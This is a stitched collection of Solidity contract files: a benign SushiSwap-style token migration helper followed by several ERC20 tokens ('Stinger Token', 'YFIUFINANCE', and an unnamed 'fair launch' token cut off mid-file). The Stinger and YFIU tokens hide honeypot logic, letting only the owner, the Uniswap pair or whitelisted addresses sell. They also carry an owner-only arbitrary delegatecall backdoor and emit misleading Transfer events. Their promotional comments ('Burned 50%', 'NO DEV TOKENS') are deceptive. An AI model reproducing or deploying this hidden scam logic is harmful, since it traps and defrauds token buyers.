xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } /* ▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█ █▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █ █ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █ █▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █ ▀███▀ █ ▀███▀ █ █ ▀ █ ▀ ▀ */ // - COMPOUND - // /************************** COMP -> UNDERLYING -> BENTO **************************/ /// @notice Migrate COMP/CREAM `cToken` underlying `amount` into BENTO by batching calls to `cToken` and `bento`. function compoundToBento(address cToken, uint256 cTokenAmount) external { IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying` IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token bento.deposit(underlying, address(this), msg.sender, underlying.balanceOf(address(this)), 0); // stake resulting `underlying` into BENTO for `msg.sender` } /// @notice Migrate COMP/CREAM `cToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `cToken` and `bento`. function compoundToBentoTo(address cToken, address to, uint256 cTokenAmount) external { IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying` IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token bento.deposit(underlying, address(this), to, underlying.balanceOf(address(this)), 0); // stake resulting `underlying` into BENTO for `to` } /************************** BENTO -> UNDERLYING -> COMP **************************/ /// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM by batching calls to `bento` and `cToken`. function bentoToCompound(address cToken, uint256 underlyingAmount) external { IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken` IERC20(cToken).safeTransfer(msg.sender, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `msg.sender` } /// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`. function bentoToCompoundTo(address cToken, address to, uint256 underlyingAmount) external { IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken` IERC20(cToken).safeTransfer(to, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `to` } /********************** SUSHI -> CREAM -> BENTO **********************/ /// @notice Stake SUSHI `amount` into crSUSHI and BENTO by batching calls to `crSushiToken` and `bento`. function sushiToCreamToBento(uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI bento.deposit(IERC20(crSushiToken), address(this), msg.sender, IERC20(crSushiToken).balanceOf(address(this)), 0); // stake resulting crSUSHI into BENTO for `msg.sender` } /// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`. function sushiToCreamToBentoTo(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).balanceOf(address(this)), 0); // stake resulting crSUSHI into BENTO for `to` } /********************** BENTO -> CREAM -> SUSHI **********************/ /// @notice Unstake crSUSHI `amount` into SUSHI from BENTO by batching calls to `bento` and `crSushiToken`. function sushiFromCreamFromBento(uint256 amount) external { bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), amount, 0); // withdraw `amount` of `crSushiToken` from BENTO into this contract ICompoundBridge(crSushiToken).redeem(amount); // burn deposited `crSushiToken` into SUSHI sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender` } /// @notice Unstake crSUSHI `amount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`. function sushiFromCreamFromBentoTo(address to, uint256 amount) external { bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), amount, 0); // withdraw `amount` of `crSushiToken` from BENTO into this contract ICompoundBridge(crSushiToken).redeem(amount); // burn deposited `crSushiToken` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } /*********************** SUSHI -> XSUSHI -> CREAM ***********************/ /// @notice Stake SUSHI `amount` into crXSUSHI by batching calls to `sushiBar` and `crXSushiToken`. function stakeSushiToCream(uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI IERC20(crXSushiToken).safeTransfer(msg.sender, IERC20(crXSushiToken).balanceOf(address(this))); // transfer resulting crXSUSHI to `msg.sender` } /// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`. function stakeSushiToCreamTo(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).balanceOf(address(this))); // transfer resulting crXSUSHI to `to` } /*********************** CREAM -> XSUSHI -> SUSHI ***********************/ /// @notice Unstake crXSUSHI `amount` into SUSHI by batching calls to `crXSushiToken` and `sushiBar`. function unstakeSushiFromCream(uint256 amount) external { IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `crXSushiToken` `amount` into this contract ICompoundBridge(crXSushiToken).redeem(amount); // burn deposited `crXSushiToken` `amount` into xSUSHI ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender` } /// @notice Unstake crXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`. function unstakeSushiFromCreamTo(address to, uint256 amount) external { IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `crXSushiToken` `amount` into this contract ICompoundBridge(crXSushiToken).redeem(amount); // burn deposited `crXSushiToken` `amount` into xSUSHI ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } /******************************** SUSHI -> XSUSHI -> CREAM -> BENTO ********************************/ /// @notice Stake SUSHI `amount` into crXSUSHI and BENTO by batching calls to `sushiBar`, `crXSushiToken` and `bento`. function stakeSushiToCreamToBento(uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI bento.deposit(IERC20(crXSushiToken), address(this), msg.sender, IERC20(crXSushiToken).balanceOf(address(this)), 0); // stake resulting crXSUSHI into BENTO for `msg.sender` } /// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`. function stakeSushiToCreamToBentoTo(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).balanceOf(address(this)), 0); // stake resulting crXSUSHI into BENTO for `to` } /******************************** BENTO -> CREAM -> XSUSHI -> SUSHI ********************************/ /// @notice Unstake crXSUSHI `amount` into SUSHI from BENTO by batching calls to `bento`, `crXSushiToken` and `sushiBar`. function unstakeSushiFromCreamFromBento(uint256 amount) external { bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), amount, 0); // withdraw `amount` of `crXSushiToken` from BENTO into this contract ICompoundBridge(crXSushiToken).redeem(amount); // burn deposited `crXSushiToken` `amount` into xSUSHI ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender` } /// @notice Unstake crXSUSHI `amount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`. function unstakeSushiFromCreamFromBentoTo(address to, uint256 amount) external { bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), amount, 0); // withdraw `amount` of `crXSushiToken` from BENTO into this contract ICompoundBridge(crXSushiToken).redeem(amount); // burn deposited `crXSushiToken` `amount` into xSUSHI ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } }
DC1
//SPDX-License-Identifier: Unlicense // ---------------------------------------------------------------------------- // 'Stinger Token' token contract // // Symbol : StingerT // Name : Stinger Token // Total supply: 100,000,000,000,000 // Decimals : 18 // Burned : 50% // ---------------------------------------------------------------------------- pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract StingerToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* YFIU.FINANCE */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract YFIUFINANCE { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/* No discrimination of where you come from or what colour of fur you have, we all come from Different walks of life but we are all equal! This token will give everyone a fair chance to get their paws on some Alpha! FAIR LAUNCH NO PRE SALE NO DEV TOKENS NO BOTS */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount 